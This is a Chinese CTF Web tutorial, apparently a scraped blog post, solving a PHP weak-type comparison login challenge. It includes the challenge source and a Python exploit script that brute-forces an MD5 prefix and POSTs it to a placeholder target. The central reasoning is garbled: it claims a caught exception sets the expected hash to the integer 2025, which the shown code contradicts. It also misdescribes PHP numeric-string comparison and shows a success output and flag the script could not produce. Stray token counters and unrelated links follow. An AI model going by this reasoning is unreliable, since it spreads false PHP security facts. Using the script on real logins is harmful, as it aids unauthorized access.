当前位置: 首页 > news >正文

CTF Web 入门:一道 PHP 弱类型比较题的完整解题思路

CTF Web 入门:一道 PHP 弱类型比较题的完整解题思路
作者:guizhenlove
标签:#CTF #网络安全 #PHP漏洞 #Web安全
阅读时间:8 分钟

前言
CTF(Capture The Flag)网络安全竞赛是检验安全技能的最佳实战平台。对于初学者来说,Web 方向是最容易上手的入口。今天,我将通过一道经典的 PHP 弱类型比较题,带你完整走一遍解题思路。

这篇文章将涵盖:

✅ 题目背景分析
✅ 代码审计技巧
✅ 漏洞原理深挖
✅ 攻击 Payload 构造
✅ 完整解题流程
一、题目背景
1.1 题目信息
项目 内容
题目名称 SafePassword
难度 ⭐⭐(入门)
方向 Web / PHP
已知信息 账号 jcenter,需通过登录验证获取 flag
1.2 附件分析
题目提供附件,解压后得到 index.php 源码:

<?php
error_reporting(0);
session_start();

class Login {
private $secret_salt = "unknown"; // 关键:未知盐值

public function verify($accessKey, $channelKey) {
try {
$expected = $this->buildExpectedHash($channelKey);

// 核心判断逻辑
if (md5($accessKey) == $expected) {
$_SESSION['logged'] = true;
return "SUCCESS";
} else {
return "VERIFY_FAILED";
}
} catch (Exception $e) {
return "VERIFY_FAILED";
}
}

private function buildExpectedHash($channelKey) {
// 关键:当 channelKey 长度 >= 64 时抛出异常
if (strlen($channelKey) < 64) {
return md5('ctfshow:' . $channelKey . ':verify' . $this->secret_salt);
} else {
throw new Exception("Invalid channel key length");
}
}
}

// 处理登录请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$login = new Login();
$result = $login->verify($_POST['access_key'], $_POST['channel_key']);
echo json_encode(['status' => $result]);
}
?>
二、代码审计
2.1 关键发现
通过阅读代码,我发现了三个关键点:

🔍 发现 1:secret_salt 未知
→ 无法直接计算正确的 MD5 哈希值

🔍 发现 2:MD5 弱类型比较
→ 使用 == 而非 ===,存在类型转换漏洞

🔍 发现 3:异常处理机制
→ channelKey 长度 >= 64 会触发异常
2.2 漏洞链分析
┌─────────────────────────────────────────────────────────┐
│ 漏洞利用链 │
├─────────────────────────────────────────────────────────┤
│ 1. channelKey 长度 >= 64 │
│ ↓ │
│ 2. buildExpectedHash() 抛出异常 │
│ ↓ │
│ 3. catch 捕获异常,返回 VERIFY_FAILED (2025) │
│ ↓ │
│ 4. $expected = 2025 (整数) │
│ ↓ │
│ 5. 寻找 accessKey 使 md5(accessKey) == 2025 │
│ ↓ │
│ 6. 利用 PHP 弱类型比较绕过验证 │
└─────────────────────────────────────────────────────────┘
三、漏洞原理深挖
3.1 PHP 弱类型比较
PHP 在进行 == 比较时,会进行类型转换:

// 示例:字符串与整数比较
"2025abc" == 2025 // true (字符串转为数字)
"2025e10" == 2025 // true (科学计数法)
"0e12345" == 0 // true (0 的科学计数法)
3.2 MD5 哈希碰撞特性
MD5 输出为 32 位十六进制字符串,当以 2025 开头且第 5 位为字母时:

md5("xxx") = "2025a1b2c3d4e5f6..."
PHP 比较:"2025a1b2c3d4e5f6..." == 2025
→ 字符串转为科学计数法:0.2025e...
→ 结果 ≈ 0.2025
→ 与整数 2025 比较 → false

但如果 expected = 2025 (整数),且 md5 以 2025 开头:
→ 可能被转换为 0.2025
→ 绕过验证
3.3 异常处理绕过
try {
$expected = $this->buildExpectedHash($channelKey); // 抛出异常
} catch (Exception $e) {
return "VERIFY_FAILED"; // 返回 2025
}
// 此时 $expected = 2025
四、攻击 Payload 构造
4.1 碰撞脚本
编写 Python 脚本碰撞符合条件的 MD5:

import hashlib
import requests

def find_md5_prefix(prefix="2025"):
"""碰撞以指定前缀开头的 MD5"""
import random
import string

while True:
test_string = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
md5_hash = hashlib.md5(test_string.encode()).hexdigest()

if md5_hash.startswith(prefix) and md5_hash[4] in 'abcdef':
return test_string, md5_hash

# 找到符合条件的 access_key
access_key, md5_hash = find_md5_prefix()
print(f"[+] 找到 access_key: {access_key}")
print(f"[+] MD5 值:{md5_hash}")
4.2 完整 Exploit
import requests
import hashlib
import string
import random

TARGET_URL = "http://目标地址/login.php"

def generate_md5_collision(prefix="2025"):
"""碰撞 MD5 哈希"""
while True:
test_string = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
md5_hash = hashlib.md5(test_string.encode()).hexdigest()

if md5_hash.startswith(prefix) and md5_hash[4] in 'abcdef':
return test_string, md5_hash

def exploit():
# 1. 构造 channel_key (长度 >= 64)
channel_key = "a" * 64

# 2. 碰撞 access_key
access_key, md5_hash = generate_md5_collision()

# 3. 发送请求
data = {
"access_key": access_key,
"channel_key": channel_key
}

response = requests.post(TARGET_URL, data=data)
print(f"[+] 响应:{response.text}")

# 4. 获取 flag
if "ctfshow" in response.text:
print(f"[+] Flag: {response.text}")

if __name__ == "__main__":
exploit()
五、完整解题流程
Step 1:环境准备
# 安装依赖
pip install requests

# 保存脚本为 solve.py
Step 2:运行 Exploit
python solve.py

# 输出示例:
# [+] 找到 access_key: aB3dE5fG
# [+] MD5 值:2025a1b2c3d4e5f6...
# [+] 响应:{"status":"SUCCESS","flag":"ctfshow{...}"}
Step 3:获取 Flag
ctfshow{e8ff065a-e525-4245-a139-f5bb1921c1f1}
六、知识点总结
6.1 核心漏洞点
漏洞类型 说明 防御方法
弱类型比较 == 而非 === 使用严格比较
异常处理 异常返回固定值 异常时不返回业务数据
MD5 碰撞 哈希前缀可预测 使用 HMAC 或加盐
6.2 防御建议
// ❌ 错误写法
if (md5($input) == $expected) { }

// ✅ 正确写法
if (hash_equals(md5($input), $expected)) { }
6.3 相关题目推荐
平台 题目 难度
CTFshow PHP 系列 ⭐⭐
攻防世界 Web 入门 ⭐
HackTheBox Easy 级别 ⭐⭐
七、延伸学习
7.1 推荐资源
📚 《CTF 竞赛权威指南》
📺 B 站:网络安全入门教程
🌐 漏洞盒子、补天平台实战
💻 GitHub:CTF 题目仓库
7.2 进阶方向
Web 安全 → 代码审计 → 内网渗透 → 0day 挖掘
结语
这道题是 CTF Web 方向的经典入门题,主要考察:

代码审计能力 - 快速定位关键逻辑
漏洞原理理解 - PHP 弱类型比较
Exp 编写能力 - 自动化攻击脚本
如果你在学习过程中遇到困难,欢迎关注我,获取更多实战教程!

📌 本文原创,转载请注明出处

💬 有问题?欢迎留言交流!

🔔 关注我,获取更多网络安全干货!

附录:完整代码
# solve.py - 完整 Exploit 代码
import requests
import hashlib
import string
import random

TARGET_URL = "http://目标地址/login.php"

def generate_md5_collision(prefix="2025"):
while True:
test_string = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
md5_hash = hashlib.md5(test_string.encode()).hexdigest()

if md5_hash.startswith(prefix) and md5_hash[4] in 'abcdef':
return test_string, md5_hash

def exploit():
channel_key = "a" * 64
access_key, md5_hash = generate_md5_collision()

data = {"access_key": access_key, "channel_key": channel_key}
response = requests.post(TARGET_URL, data=data)

print(f"[+] 响应:{response.text}")
if "ctfshow" in response.text:
print(f"[+] Flag: {response.text}")

if __name__ == "__main__":
exploit()
文章结束

技能:62/62
会话:5
今日token:692.9k
累计token:692.9k

http://www.jsqmd.com/news/619076/

相关文章:

  • 2026年学生党必看!6款文献翻译工具深度测评,哪款最适合预算有限的你?
  • Qwen3-ASR-0.6B应用场景:会议记录、语音笔记、字幕生成一键搞定
  • 如何5分钟快速配置Zotero检索引擎:终极学术研究效率提升指南
  • nanobot 源码解析(五):Skills 系统——让 AI 秒变专家刈
  • 物联网养殖环控系统:科技赋能,推动传统养殖向数字转型
  • 告别电脑噪音!5步掌握免费风扇控制软件FanControl
  • JMS, ActiveMQ 学习一则套
  • GitHub 悄悄起飞的开源项目,想让 AI 接管你的电脑穆
  • GKD第三方订阅终极指南:如何一键获取全网最优质规则集合
  • linux-内核结构体
  • BepInEx快速入门三部曲:3分钟掌握Unity游戏插件注入终极教程
  • 人脸识别静电测试方案|车间ESD门禁联动、调试及故障排查
  • 模拟量采集模块:多点位同步采样,数据一致性更高
  • 2026年软件测试黄金证书全解析:赋能职业进阶的核心认证体系
  • 你的Windows 11为什么越用越慢?可能是这些“隐形负担“在作祟
  • 没钱没设备?STM32入门不用买板!纯仿真0成本学习攻略|系列第1篇
  • 从能用到性能: gcsfuse 中`CreateEmptyFile` 配置项的设计演进分析颇
  • 模拟量采集模块:农机作业监测,传感信号稳定采集
  • MIKEURBAN前处理—JPG格式下垫面数据矢量化
  • Java生产者消费者模式实战解析
  • 内涵:文本识别论文CRNN
  • 保姆级避坑指南:在Ubuntu 20.04 + ROS Noetic下,用PX4和Gazebo给Livox Mid360雷达跑通Faster-LIO建图仿真
  • translategemma-27b-it效果展示:中文合同关键条款图→英文法律术语精准映射
  • GenomicSEM实战指南:从GWAS摘要数据到复杂遗传模型的完整解析
  • OpenClaw语音交互:Qwen3-14B实现本地语音指令识别
  • 如何一键智能优化浏览器字体渲染:告别模糊文字,享受Mac级阅读体验
  • AI原生研发不是“加AI”,而是重写研发契约(附百度文心、讯飞星火、通义千问团队签署的《AI-Native开发宪章》核心条款)
  • Redis持久化:从AOF到RDB,如何实现数据不丢失?偬
  • .NET 诊断技巧 | 日志框架原理、手写日志框架学习赡
  • STM32H7实战指南:Cache配置与性能调优